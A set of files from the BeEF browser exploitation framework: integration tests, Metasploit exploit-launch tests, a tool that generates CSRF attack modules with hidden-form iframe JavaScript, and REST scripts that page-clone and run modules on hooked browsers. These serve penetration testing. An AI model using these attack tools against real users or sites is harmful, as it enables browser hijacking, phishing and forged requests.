Ruby | beef/test/integration/tc_social_engineering_rest.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
require 'test/unit'
require 'rest-client'
require 'json'
require '../common/test_constants'
# @todo RESTful API for the social engineering extension lacks some serious test coverage.
class TC_SocialEngineeringRest < Test::Unit::TestCase
class << self
# Login to API before performing any tests
def startup
json = {:username => BEEF_USER, :password => BEEF_PASSWD}.to_json
@@headers = {:content_type => :json, :accept => :json}
response = RestClient.post("#{RESTAPI_ADMIN}/login",
json,
@@headers)
result = JSON.parse(response.body)
@@token = result['token']
$root_dir = '../../'
$:.unshift($root_dir)
require 'core/loader'
BeEF::Core::Configuration.new(File.join($root_dir, 'config.yaml'))
BeEF::Core::Configuration.instance.load_extensions_config
@@config = BeEF::Core::Configuration.instance
end
def shutdown
$root_dir = nil
end
end
# Tests DNS spoofing of cloned webpages
def test_1_dns_spoof
url = 'http://beefproject.com'
mount = '/beefproject'
dns_spoof = true
json = {:url => url, :mount => mount, :dns_spoof => dns_spoof}.to_json
domain = url.gsub(%r{^https?://}, '')
response = RestClient.post("#{RESTAPI_SENG}/clone_page?token=#{@@token}",
json,
@@headers)
check_response(response)
# Send DNS request to server to verify that a new rule was added
dns_address = @@config.get('beef.extension.dns.address')
dns_port = @@config.get('beef.extension.dns.port')
dig_output = IO.popen(["dig", "@#{dns_address}", "-p", "#{dns_port}", "-t",
"A", "+short", "#{domain}"], 'r+').read.strip!
foundmatch = false
# Iterate local IPs (excluding loopbacks) to find a match to the 'dig'
# output
assert_block do
Socket.ip_address_list.each { |i|
if !(i.ipv4_loopback? || i.ipv6_loopback?)
return true if i.ip_address.to_s.eql?(dig_output.to_s)
end
}
end
# assert(foundmatch)
end
private
# Assertions for verifying a response from the RESTful API
def check_response(response)
assert_not_nil(response.body)
assert_equal(200, response.code)
result = JSON.parse(response.body)
assert(result['success'])
assert(result['mount'])
end
end |
Ruby | beef/test/integration/tc_webrtc_rest.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
require 'test/unit'
require 'rest-client'
require 'json'
require '../common/test_constants'
require '../common/beef_test'
class TC_WebRTCRest < Test::Unit::TestCase
class << self
# Login to API before performing any tests - and fetch config too
def startup
json = {:username => BEEF_USER, :password => BEEF_PASSWD}.to_json
@@headers = {:content_type => :json, :accept => :json}
response = RestClient.post("#{RESTAPI_ADMIN}/login",
json,
@@headers)
result = JSON.parse(response.body)
@@token = result['token']
$root_dir = '../../'
$:.unshift($root_dir)
require 'core/loader'
BeEF::Core::Configuration.new(File.join($root_dir, 'config.yaml'))
BeEF::Core::Configuration.instance.load_extensions_config
@@config = BeEF::Core::Configuration.instance
@@activated = @@config.get('beef.extension.webrtc.enable') || false
@@victim1 = BeefTest.new_victim
@@victim2 = BeefTest.new_victim
# puts "WebRTC Tests beginning"
sleep 8.0
# Fetch last online browsers' ids
rest_response = RestClient.get "#{RESTAPI_HOOKS}", {:params => {
:token => @@token}}
result = JSON.parse(rest_response.body)
browsers = result["hooked-browsers"]["online"]
browsers.each_with_index do |elem, index|
if index == browsers.length - 1
@@victim2id = browsers["#{index}"]["id"].to_s
end
if index == browsers.length - 2
@@victim1id = browsers["#{index}"]["id"].to_s
end
end
end
def shutdown
$root_dir = nil
@@victim1.driver.browser.close
@@victim2.driver.browser.close
end
end
def test_1_webrtc_check_for_two_hooked_browsers
return unless @@activated
rest_response = nil
assert_nothing_raised do
rest_response = RestClient.get "#{RESTAPI_HOOKS}", {:params => {
:token => @@token}}
end
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
browsers = result["hooked-browsers"]["online"]
assert_not_nil browsers
assert_operator browsers.length, :>=, 2
end
def test_2_webrtc_establishing_p2p
return unless @@activated
rest_response = nil
assert_nothing_raised do
rest_response = RestClient.post("#{RESTAPI_WEBRTC}/go?token=#{@@token}",
{:from => @@victim1id, :to => @@victim2id, :verbose => "true"}.to_json,
@@headers)
end
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
assert_equal true, result["success"]
sleep 30.0
rest_response = nil
assert_nothing_raised do
rest_response = RestClient.get "#{RESTAPI_LOGS}", {:params => {
:token => @@token}}
end
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
loghitcount = 0
result["logs"].reverse.each {|l|
# Using free-space matching mode /x below to wrap regex.
# therefore need to escape spaces I want to check, hence the \
regex = Regexp.new(/Browser:(#{@@victim1id}|#{@@victim2id})\ received\
message\ from\ Browser:(#{@@victim1id}|#{@@victim2id})
:\ ICE\ Status:\ connected/x)
loghitcount += 1 if (not regex.match(l["event"]).nil?) and
(l["type"].to_s.eql?("WebRTC"))
}
assert_equal 2, loghitcount
end
def test_3_webrtc_send_msg # assumes test 2 has run
return unless @@activated
rest_response = nil
assert_nothing_raised do
rest_response = RestClient.post("#{RESTAPI_WEBRTC}/msg?token=#{@@token}",
{:from => @@victim1id, :to => @@victim2id,
:message => "RTC test message"}.to_json,
@@headers)
end
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
assert_equal true, result["success"]
sleep 10.0
rest_response = nil
assert_nothing_raised do
rest_response = RestClient.get "#{RESTAPI_LOGS}", {:params => {
:token => @@token}}
end
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
assert_block do
result["logs"].reverse.each {|l|
# Using free-space matching mode /x below to wrap regex.
# therefore need to escape spaces I want to check, hence the \
regex = Regexp.new(/Browser:(#{@@victim1id}|#{@@victim2id})\ received\
message\ from\ Browser:
(#{@@victim1id}|#{@@victim2id})
:\ RTC\ test\ message/x)
return true if (not regex.match(l["event"]).nil?) and
(l["type"].to_s.eql?("WebRTC"))
}
end
end
def test_4_webrtc_stealthmode # assumes test 2 has run
return unless @@activated
# Test our two browsers are still online
rest_response = nil
assert_nothing_raised do
rest_response = RestClient.get "#{RESTAPI_HOOKS}", {:params => {
:token => @@token}}
end
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
online = result["hooked-browsers"]["online"]
assert_block do
online.each {|hb|
return true if hb[1]["id"].eql?(@@victim1id)
}
end
assert_block do
online.each {|hb|
return true if hb[1]["id"].eql?(@@victim2id)
}
end
# Command one of the browsers to go stealth
rest_response = nil
assert_nothing_raised do
rest_response = RestClient.post("#{RESTAPI_WEBRTC}/msg?token=#{@@token}",
{:from => @@victim1id, :to => @@victim2id,
:message => "!gostealth"}.to_json,
@@headers)
end
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
assert_equal true, result["success"]
sleep 40.0 #Wait until that browser is offline.
# Test that the browser is now offline
rest_response = nil
assert_nothing_raised do
rest_response = RestClient.get "#{RESTAPI_HOOKS}", {:params => {
:token => @@token}}
end
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
offline = result["hooked-browsers"]["offline"]
assert_block do
offline.each {|hb|
return true if hb[1]["id"].eql?(@@victim2id)
}
end
# Test that we can bring it back online (which implies comms are still ok)
rest_response = nil
assert_nothing_raised do
rest_response = RestClient.post("#{RESTAPI_WEBRTC}/msg?token=#{@@token}",
{:from => @@victim1id, :to => @@victim2id,
:message => "!endstealth"}.to_json,
@@headers)
end
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
assert_equal true, result["success"]
sleep 10.0 # Wait until browser comes back
# Test that the browser is now online
rest_response = nil
assert_nothing_raised do
rest_response = RestClient.get "#{RESTAPI_HOOKS}", {:params => {
:token => @@token}}
end
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
online = result["hooked-browsers"]["online"]
assert_block do
online.each {|hb|
return true if hb[1]["id"].eql?(@@victim2id)
}
end
end
def test_5_webrtc_execcmd # assumes test 2 has run
return unless @@activated
#
end
private
# Standard assertions for verifying response from RESTful API
def check_rest_response(response)
assert_not_nil(response.body)
assert_equal(200, response.code)
end
end |
Ruby | beef/test/integration/ts_integration.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# Common lib for BeEF tests
require '../common/ts_common'
require 'capybara'
require 'capybara/rspec'
Capybara.run_server = false # we need to run our own BeEF server
require 'selenium-webdriver'
require './check_environment' # Basic log in and log out tests
require './tc_debug_modules' # RESTful API tests (as well as debug modules)
require './tc_login' # Basic log in and log out tests
require './tc_proxy' # Basic tests for Proxy extension
require './tc_network_rest' # Basic tests for Network extension RESTful API interface
require '../api/1333_auth_rate' # API rate testing issue #1333'
# Experimental extensions
#require './tc_dns_rest' # Basic tests for DNS RESTful API interface
#require './tc_webrtc_rest' # Basic tests for WebRTC extension
#require './tc_social_engineering_rest' # Basic tests for social engineering RESTful API interface
class TS_BeefIntegrationTests
def self.suite
suite = Test::Unit::TestSuite.new(name="BeEF Integration Test Suite")
suite << TC_CheckEnvironment.suite
suite << TC_Login.suite
suite << TC_DebugModules.suite
suite << TC_Proxy.suite
suite << TC_NetworkRest.suite
# issue raised
suite << TC_1333_auth_rate.suite
# Tests for experimental extensions
#suite << TC_SocialEngineeringRest.suite
#suite << TC_Jools.suite
#suite << TC_DnsRest.suite
#suite << TC_WebRTCRest.suite
suite
end
end
Test::Unit::UI::Console::TestRunner.run(TS_BeefIntegrationTests) |
Ruby | beef/test/thirdparty/msf/unit/check_environment.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
require 'test/unit'
class TC_CheckEnvironment < Test::Unit::TestCase
def test_check_env
# Add environment checks here
end
end |
Ruby | beef/test/thirdparty/msf/unit/tc_metasploit.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
require 'test/unit'
require 'pp'
class TC_Metasploit < Test::Unit::TestCase
def setup
$root_dir="../../../../"
$:.unshift File.join( %w{ ../../../../ } )
require 'core/loader'
end
def teardown
$root_dir = nil
end
#
# Test the api is functional
#
def test_requires
assert_nothing_raised do
require 'msfrpc-client'
end
end
#
# Load the config for testing
#
def load_config
BeEF::Core::Configuration.new("#{$root_dir}/config.yaml")
BeEF::Core::Configuration.instance.load_extensions_config
@config = BeEF::Core::Configuration.instance.get('beef.extension.metasploit')
end
# Create an api instance
def new_api
load_config
require 'extensions/metasploit/extension.rb'
@api = BeEF::Extension::Metasploit::RpcClient.instance
@api.unit_test_init()
end
#
# Verify that the config file has required information
#
def test_config
load_config
assert(@config.key?('user'))
assert(@config.key?('pass'))
assert(@config.key?('port'))
assert(@config.key?('uri'))
assert(@config.key?('callback_host'))
assert(@config.key?('autopwn_url'))
end
#
# Verify that we can create an API instance
#
def test_api_create
assert_nothing_raised do
new_api
end
end
#
# Verify that the login is working
#
def test_login
new_api
assert(@api.login)
end
def test_call
new_api
@api.login
assert(@api.call('core.version'))
end
def test_browser_exploits
new_api
@api.login
exploits = nil
assert_nothing_raised do
exploits = @api.browser_exploits()
end
assert(exploits.length > 5)
end
def test_exploit_info
new_api
@api.login
info = nil
assert_nothing_raised do
info = @api.get_exploit_info('windows/dcerpc/ms03_026_dcom')
end
assert( info['name'].nil? != true)
end
def test_get_options
new_api
@api.login
info = nil
assert_nothing_raised do
info = @api.get_options('windows/dcerpc/ms03_026_dcom')
end
assert( info['RHOST'].nil? != true)
end
def test_payloads
new_api
@api.login
payloads = nil
assert_nothing_raised do
payloads = @api.payloads
end
assert( payloads.length > 5 )
end
def test_launch_exploit
new_api
@api.login
opts = { 'PAYLOAD' => 'windows/meterpreter/bind_tcp', 'URIPATH' => '/test1','SRVPORT' => 8080}
ret = nil
assert_nothing_raised do
ret = @api.launch_exploit('windows/browser/adobe_utilprintf',opts)
end
assert(ret['job_id'] != nil )
end
def test_launch_autopwn
new_api
@api.login
ret = nil
assert_nothing_raised do
ret = @api.launch_autopwn
end
assert(ret['job_id'] != nil )
end
end |
Ruby | beef/test/thirdparty/msf/unit/ts_metasploit.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# Common lib for BeEF tests
require '../../../common/ts_common'
begin
require 'msfrpc-client'
rescue LoadError
puts "The following instruction failed: require 'msfrpc-client'"
puts "Please run: sudo gem install msfrpc-client"
exit
end
require './check_environment'
require './tc_metasploit'
class TS_BeefTests
def self.suite
suite = Test::Unit::TestSuite.new(name="BeEF Metasploit Test Suite")
suite << TC_CheckEnvironment.suite
suite << TC_Metasploit.suite
return suite
end
end
Test::Unit::UI::Console::TestRunner.run(TS_BeefTests) |
Shell Script | beef/tools/bump-version.sh | #!/usr/bin/env bash
if [[ -z "${1}" || -z "${2}" ]]; then
echo "Error: missing arguments"
exit 1
fi
if [[ ! -f beef || ! -f VERSION ]]; then
echo "Error: must be run from within the BeEF root directory"
exit 1
fi
echo "Updating version ${1} to ${2}"
git checkout -b "release/${2}"
sed -i '' -e "s/$1/$2/g" VERSION
sed -i '' -e "s/\"version\": \"$1\"/\"version\": \"$2\"/g" package.json
sed -i '' -e "s/\"version\": \"$1\"/\"version\": \"$2\"/g" package-lock.json
sed -i '' -e "s/\"version\": \"$1\"/\"version\": \"$2\"/g" config.yaml
git add VERSION package.json package-lock.json config.yaml
git commit -m "Version bump ${2}"
git push --set-upstream origin "release/${2}"
git push |
beef/tools/csrf_to_beef/csrf_to_beef | #!/usr/bin/env ruby
$VERBOSE = false
$VERSION = '0.0.3'
#
# @note Ruby version check
#
if RUBY_VERSION =~ /^1\.[0-8]/
puts "Ruby version " + RUBY_VERSION + " is not supported. Please use Ruby 1.9 or newer."
exit 1
end
require 'uri'
require 'getoptlong'
require 'fileutils'
require 'htmlentities'
require 'cgi'
require './lib/output'
require './lib/module'
#
# @note usage
#
def usage
puts "CSRF to BeEF module tool v#{$VERSION}, create a BeEF CSRF module from file or URL."
puts
puts "Usage: ./csrf_to_beef [options] --name <NAME> <--url=URL|--file=FILE>"
puts
puts "Options:"
puts " -h, --help Help"
puts " -v, --verbose Verbose output"
puts " -n, --name NAME BeEF module name"
puts " -u, --url URL CSRF URL"
puts " -m, --method METHOD CSRF HTTP method (GET/POST)"
puts " -d, --post-data DATA CSRF HTTP POST data"
puts " -f, --file FILE Burp CSRF PoC file"
puts
puts "Example Usage:"
puts
puts " CSRF URL:"
puts " ./csrf_to_beef --name \"example csrf\" --url \"http://example.com/index.html?param=value\""
puts
puts " CSRF URL (POST):"
puts " ./csrf_to_beef --name \"example csrf\" --url \"http://example.com/index.html\" --method POST --post-data \"param1=value¶m2=value\""
puts
puts " Burp Suite CSRF PoC file:"
puts " ./csrf_to_beef --name \"example csrf\" --file sample.html"
puts
exit 1
end
usage if ARGV.size < 2
opts = GetoptLong.new(
['-h', '--help', GetoptLong::NO_ARGUMENT],
['-v', '--verbose', GetoptLong::NO_ARGUMENT],
['-n', '--name', GetoptLong::REQUIRED_ARGUMENT],
['-u', '--url', GetoptLong::REQUIRED_ARGUMENT],
['-m', '--method', GetoptLong::REQUIRED_ARGUMENT],
['-d', '--post-data', GetoptLong::REQUIRED_ARGUMENT],
['-f', '--file', GetoptLong::REQUIRED_ARGUMENT]
)
#
# @note handle args
#
def main(opts)
mname = nil
fname = nil
url = nil
method = 'GET'
postdata = nil
opts.each do |opt, arg|
case opt
when '-f', '--file'
fname=arg
when '-u', '--url'
url=arg
when '-m', '--method'
method=arg.upcase
when '-d', '--post-data'
postdata=arg
when '-n', '--name'
mname=arg
when '-h', '--help'
usage
when '-v', '--verbose'
$VERBOSE = true
end
end
if mname.nil?
print_error "You must specify module '--name' (-h for help)"
exit 1
end
if fname && url
print_error "Conflicting input types '--file' and '--url'. (-h for help)"
elsif fname.nil? && url.nil?
print_error "You must specify '--file' or '--url'. (-h for help)"
exit 1
end
@class_name = mname.gsub(/[^\w]/, '_').downcase
csrf_module = get_options_from_burp_file(fname, mname) unless fname.nil?
csrf_module = get_options_from_url(url, method, postdata, mname) unless url.nil?
write_module(csrf_module[:target_url], csrf_module[:method], csrf_module[:enctype], csrf_module[:options])
end
#
# @note generate BeEF module from URL
#
def get_options_from_url(url, method, postdata, mname)
# validate HTTP method
if method !~ /^(GET|POST)$/i
print_error "Invalid method: #{method} - Method must be 'GET' or 'POST'"
exit 1
end
# parse module options
options = []
if method =~ /POST/i
target_url = url
enctype = nil
input_name = nil
input_value = nil
# parse POST params as module options
CGI::parse(URI.parse("http://beefproject.com/?#{postdata}").query).each do |k, v|
if k == 'submit'
print_error "Invalid POST parameter 'submit' - see: https://github.com/beefproject/beef/issues/1117"
exit 1
end
input_name = HTMLEntities.new.decode(k)
input_value = HTMLEntities.new.decode(v.first)
unless input_name.nil?
options << [input_name, input_value]
end
end
elsif method =~ /GET/i
target_url = URI.parse(url).to_s[/[^\?]+/] # drop query string
input_name = nil
input_value = nil
# parse query string as module options
CGI::parse(URI.parse(url).query).each do |k, v|
if k == 'submit'
print_error "Invalid GET parameter 'submit' - see: https://github.com/beefproject/beef/issues/1117"
exit 1
end
input_name = HTMLEntities.new.decode(k)
input_value = HTMLEntities.new.decode(v.first)
unless input_name.nil?
options << [input_name, input_value]
end
end
end
return {:target_url=>target_url, :method=>method, :enctype=>enctype, :options=>options}
end
#
# @note generate BeEF module from Burp PoC file
#
def get_options_from_burp_file(fname, mname)
# read PoC file
print_status "Reading PoC from '#{fname}'"
begin
f = File.open(fname)
html = f.readlines()
rescue => e
print_error "Could not read PoC file - #{e.message}"
exit 1
end
# parse PoC file
if html.to_s =~ /var xhr = new XMLHttpRequest/
print_error "Could not parse PoC file - XMLHttpRequest is not yet supported."
exit 1
elsif html.to_s !~ /<form/
print_error "Could not parse PoC file - unrecognized format."
exit 1
end
method = 'GET'
enctype = nil
target_url = nil
options = []
html.each do |line|
case line
# parse form tag as request options
when /<form/
Hash[line.scan(/(\w+)="(.*?)"/)].each do |k, v|
case k
when 'action'
target_url = HTMLEntities.new.decode(v)
when 'method'
method = HTMLEntities.new.decode(v).upcase
when 'enctype'
enctype = HTMLEntities.new.decode(v)
end
end
# parse form input tags as module options
when /<input/
input_name = nil
input_value = nil
Hash[line.scan(/(\w+)="(.*?)"/)].each do |k, v|
case k
when 'type'
next
when 'name'
if v == 'submit'
print_error "Invalid POST parameter 'submit' - see: https://github.com/beefproject/beef/issues/1117"
exit 1
end
input_name = HTMLEntities.new.decode(v)
when 'value'
input_value = HTMLEntities.new.decode(v)
end
end
unless input_name.nil?
options << [input_name, input_value]
end
end
end
return {:target_url=>target_url, :method=>method, :enctype=>enctype, :options=>options}
end
#
# @note write module files to disk
#
def write_module(target_url, method='GET', enctype, options)
# write module directory
print_status "Making directory '#{@class_name}'"
unless File.directory?(@class_name)
FileUtils.mkdir_p(@class_name)
end
# generate module config file and write 'config.yaml'
print_status "Generating module config file '#{@class_name}/config.yaml'"
cfg_file = ConfigFile.new.generate(@class_name)
print_debug cfg_file
File.open("#{@class_name}/config.yaml", 'w') { |file| file.write(cfg_file) }
# generate module class file and write 'module.rb'
print_status "Generating module class file '#{@class_name}/module.rb'"
mod_file = ModuleFile.new.generate(@class_name, target_url, options)
print_debug mod_file
File.open("#{@class_name}/module.rb", 'w') { |file| file.write(mod_file) }
# generate module javacript file and write 'command.js'
print_status "Generating module javascript file '#{@class_name}/command.js'"
com_file = CommandFile.new.generate(@class_name, method, enctype, options)
print_debug com_file
File.open("#{@class_name}/command.js", 'w') { |file| file.write(com_file) }
print_good "Complete!"
print_status "Now copy the '#{@class_name}' directory to the BeEF 'modules/exploits/' directory."
print_debug "cp \"#{@class_name}\" ../../modules/exploits/ -R"
end
main(opts) |
|
HTML | beef/tools/csrf_to_beef/sample.html | <html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://127.0.0.1/index.php?query=example" method="POST" enctype="multipart/form-data">
<input type="hidden" name="value1" value="Example value #1"/>
<input type="hidden" name="value2" value="Example value #2"/>
<input type="hidden" name="value3" value="Example value #3"/>
<input type="submit" value="Submit request"/>
</form>
</body>
</html> |
Ruby | beef/tools/csrf_to_beef/lib/module.rb | #
# @note Module configuration file 'config.yaml'
#
class ConfigFile
def generate(class_name)
return <<-EOF
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
#{class_name}:
enable: true
category: "Exploits"
name: "#{class_name.capitalize}"
description: "#{class_name.capitalize}"
authors: ["BeEF"]
target:
unknown: ["ALL"]
EOF
end
end
#
# @note Module class file 'module.rb'
#
class ModuleFile
def generate(class_name, target_url, options)
options_rb = ""
options.to_enum.with_index(1).each do |input, input_index|
options_rb += " { 'name' => 'input_#{input_index}', 'ui_label' => %q(#{input[0]}), 'value' => %q(#{input[1]}) },\n"
end
return <<-EOF
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class #{class_name.capitalize} < BeEF::Core::Command
def self.options
return [
{ 'name' => 'target_url', 'ui_label' => 'Target URL', 'value' => %q(#{target_url}) },
#{options_rb.chomp}
]
end
def post_execute
save({'result' => @datastore['result']})
end
end
EOF
end
end
#
# @note Module javascript command file 'command.js'
#
class CommandFile
def generate(class_name, method, enctype, options)
options_js = ""
options.to_enum.with_index(1).each do |input, input_index|
options_js += " {'type':'hidden', 'name':'#{input.first.to_s.gsub(/'/, "\\'")}', 'value':'<%= CGI.escape(@input_#{input_index}) %>' },\n"
end
return <<-EOF
//
// Copyright (c) 2006-2023 Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var target_url = '<%= @target_url.to_s.gsub(/'/, "\\\\'") %>';
var timeout = 15;
exploit = function() {
var #{class_name}_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target_url, '#{method.to_s.gsub(/'/, "\\'")}', '#{enctype.to_s.gsub(/'/, "\\'")}',
[
#{options_js.chomp}
]);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
}
cleanup = function() {
try {
document.body.removeChild(#{class_name}_iframe_<%= @command_id %>);
} catch(e) {
beef.debug("Could not remove iframe: " + e.message);
}
}
setTimeout("cleanup()", timeout*1000);
try {
exploit();
} catch(e) {
beef.debug("Exploit failed: " + e.message);
}
});
EOF
end
end |
Ruby | beef/tools/csrf_to_beef/lib/output.rb | #
# @note Add color to String object
#
class String
def colorize(color_code)
"\e[#{color_code}m#{self}\e[0m"
end
{:red => 31,
:green => 32,
:yellow => 33,
:blue => 34,
:pink => 35,
:cyan => 36,
:white => 37
}.each { |color, code|
define_method(color) { colorize(code) }
}
end
#
# @note handle output
#
def print_status(msg='')
puts '[*] '.blue + msg
end
def print_error(msg='')
puts '[!] '.red + "Error: #{msg}"
end
def print_good(msg='')
puts '[+] '.green + msg
end
def print_warning(msg='')
puts '[!] '.yellow + "Warning: #{msg}"
end
def print_debug(msg='')
puts "#{msg}" if $VERBOSE
end |
beef/tools/rest_api_examples/autorun | #!/usr/bin/env ruby
# browser-details - Example BeEF RESTful API script
# Retrieves all Autorun rules, adds a rule, runs it on all online browsers, then deletes it
# Refer to the wiki for info: https://github.com/beefproject/beef/wiki/BeEF-RESTful-API
##
require 'rest-client'
require 'json'
require 'optparse'
require 'pp'
require './lib/string' # colored strings
require './lib/print' # print wrappers
require './lib/beef_rest_api'
if ARGV.length == 0
puts "#{$0}:"
puts "| Example BeEF RESTful API script"
puts "| Use --help for help"
puts "|_ Use verbose mode (-v) and debug mode (-d) for more output"
exit 1
end
# API config
proto = 'http'
host = '127.0.0.1'
port = '3000'
user = 'beef'
pass = 'beef'
# Command line options
@debug = false
@verbose = false
OptionParser.new do |opts|
opts.on('-h', '--help', 'Shows this help screen') do
puts opts
exit 1
end
opts.on('--host HOST', "Set BeEF host (default: #{host})") do |h|
host = h
end
opts.on('--port PORT', "Set BeEF port (default: #{port})") do |p|
port = p
end
opts.on('--user USERNAME', "Set BeEF username (default: #{user})") do |u|
user = u
end
opts.on('--pass PASSWORD', "Set BeEF password (default: #{pass})") do |p|
pass = p
end
opts.on('--ssl', 'Use HTTPS') do
proto = 'https'
end
opts.on('-v', '--verbose', 'Enable verbose output') do
@verbose = true
end
opts.on('-d', '--debug', 'Enable debug output') do
@debug = true
end
end.parse!
@api = BeefRestAPI.new proto, host, port, user, pass
# Retrieve the RESTful API token
print_status "Authenticating to: #{proto}://#{host}:#{port}"
@api.auth
# Retrieve BeEF version
@api.version
print_status("Retrieving Autorun rules")
rules = @api.autorun_rules
print_debug(rules)
print_status("Adding a rule")
res = @api.autorun_add_rule({
"name": "Say Hello",
"author": "REST API",
"modules": [
{
"name": "alert_dialog",
"options": {
"text":"Hello from REST API"
}
}
],
"execution_order": [0],
"execution_delay": [0]
})
print_debug(res)
rule_id = res['rule_id']
unless rule_id.nil?
print_status "Running rule #{rule_id} on all browsers"
res = @api.autorun_run_rule_on_all_browsers(rule_id)
print_debug(res)
print_status("Deleting rule #{rule_id}")
res = @api.autorun_delete_rule(rule_id)
print_debug(res)
end |
|
beef/tools/rest_api_examples/browser-details | #!/usr/bin/env ruby
# browser-details - Example BeEF RESTful API script
# Retrieves browser details and logs for all online hooked browsers
# Refer to the wiki for info: https://github.com/beefproject/beef/wiki/BeEF-RESTful-API
##
require 'rest-client'
require 'json'
require 'optparse'
require 'pp'
require './lib/string' # colored strings
require './lib/print' # print wrappers
require './lib/beef_rest_api'
if ARGV.length == 0
puts "#{$0}:"
puts "| Example BeEF RESTful API script"
puts "| Use --help for help"
puts "|_ Use verbose mode (-v) and debug mode (-d) for more output"
exit 1
end
# API config
proto = 'http'
host = '127.0.0.1'
port = '3000'
user = 'beef'
pass = 'beef'
# Command line options
@debug = false
@verbose = false
OptionParser.new do |opts|
opts.on('-h', '--help', 'Shows this help screen') do
puts opts
exit 1
end
opts.on('--host HOST', "Set BeEF host (default: #{host})") do |h|
host = h
end
opts.on('--port PORT', "Set BeEF port (default: #{port})") do |p|
port = p
end
opts.on('--user USERNAME', "Set BeEF username (default: #{user})") do |u|
user = u
end
opts.on('--pass PASSWORD', "Set BeEF password (default: #{pass})") do |p|
pass = p
end
opts.on('--ssl', 'Use HTTPS') do
proto = 'https'
end
opts.on('-v', '--verbose', 'Enable verbose output') do
@verbose = true
end
opts.on('-d', '--debug', 'Enable debug output') do
@debug = true
end
end.parse!
@api = BeefRestAPI.new proto, host, port, user, pass
# Retrieve the RESTful API token
print_status "Authenticating to: #{proto}://#{host}:#{port}"
@api.auth
# Retrieve BeEF version
@api.version
# Retrieve online hooked browser list
hooks = @api.online_browsers.flatten
exit 1 if hooks.empty?
print_debug hooks
# Retrieve hooked browser details
hooks.each do |hook|
next if hook['id'].nil?
print_status "Retrieving details for browser [id: #{hook['id']}]"
details = @api.browser_details(hook['session'])
print_debug details
print_verbose "Hooked Browser [id:#{hook['id']}, ip:#{hook['ip']}]:\n#{details.map{|d| "#{d['key']}: #{d['value']}" }.flatten.join("\n")}"
end
# Retrieve hooked browser logs
hooks.each do |hook|
next if hook['id'].nil?
print_status "Retrieving logs for browser [id: #{hook['id']}]"
logs = @api.browser_logs(hook['session'])
print_debug logs
logs['logs'].each do |log|
next if log['id'].nil?
print_verbose "#{log['date']} - #{log['event']}"
end
end |
|
beef/tools/rest_api_examples/clone_page | #!/usr/bin/env ruby
# clone_page - Example BeEF RESTful API script
# Clone a web page and mount it locally
# Refer to the wiki for info: https://github.com/beefproject/beef/wiki/BeEF-RESTful-API
##
require 'rest-client'
require 'json'
require 'optparse'
require 'pp'
require './lib/string' # colored strings
require './lib/print' # print wrappers
require './lib/beef_rest_api' # API
if ARGV.length == 0
puts "#{$0}:"
puts "| Example BeEF RESTful API script"
puts "| Use --help for help"
puts "|_ Use verbose mode (-v) and debug mode (-d) for more output"
exit 1
end
# API config
proto = 'http'
host = '127.0.0.1'
port = '3000'
user = 'beef'
pass = 'beef'
# Command line options
@debug = false
@verbose = false
OptionParser.new do |opts|
opts.on('-h', '--help', 'Shows this help screen') do
puts opts
exit 1
end
opts.on('--host HOST', "Set BeEF host (default: #{host})") do |h|
host = h
end
opts.on('--port PORT', "Set BeEF port (default: #{port})") do |p|
port = p
end
opts.on('--user USERNAME', "Set BeEF username (default: #{user})") do |u|
user = u
end
opts.on('--pass PASSWORD', "Set BeEF password (default: #{pass})") do |p|
pass = p
end
opts.on('--ssl', 'Use HTTPS') do
proto = 'https'
end
opts.on('-v', '--verbose', 'Enable verbose output') do
@verbose = true
end
opts.on('-d', '--debug', 'Enable debug output') do
@debug = true
end
end.parse!
@api = BeefRestAPI.new proto, host, port, user, pass
# Retrieve the RESTful API token
print_status "Authenticating to: #{proto}://#{host}:#{port}"
@api.auth
# Retrieve BeEF version
@api.version
# Clone http://localhost/ and mount to /
url = 'http://localhost/'
path = '/'
use_existing = false
dns_spoof = false
@api.clone_page(url, path, use_existing, dns_spoof) |
|
beef/tools/rest_api_examples/command-modules | #!/usr/bin/env ruby
# command-modules - Example BeEF RESTful API script
# Retrieves module details and pops an alert dialog on all hooked browsers
# Refer to the wiki for info: https://github.com/beefproject/beef/wiki/BeEF-RESTful-API
##
require 'rest-client'
require 'json'
require 'optparse'
require 'pp'
require './lib/string' # colored strings
require './lib/print' # print wrappers
require './lib/beef_rest_api'
if ARGV.length == 0
puts "#{$0}:"
puts "| Example BeEF RESTful API script"
puts "| Use --help for help"
puts "|_ Use verbose mode (-v) and debug mode (-d) for more output"
exit 1
end
# API config
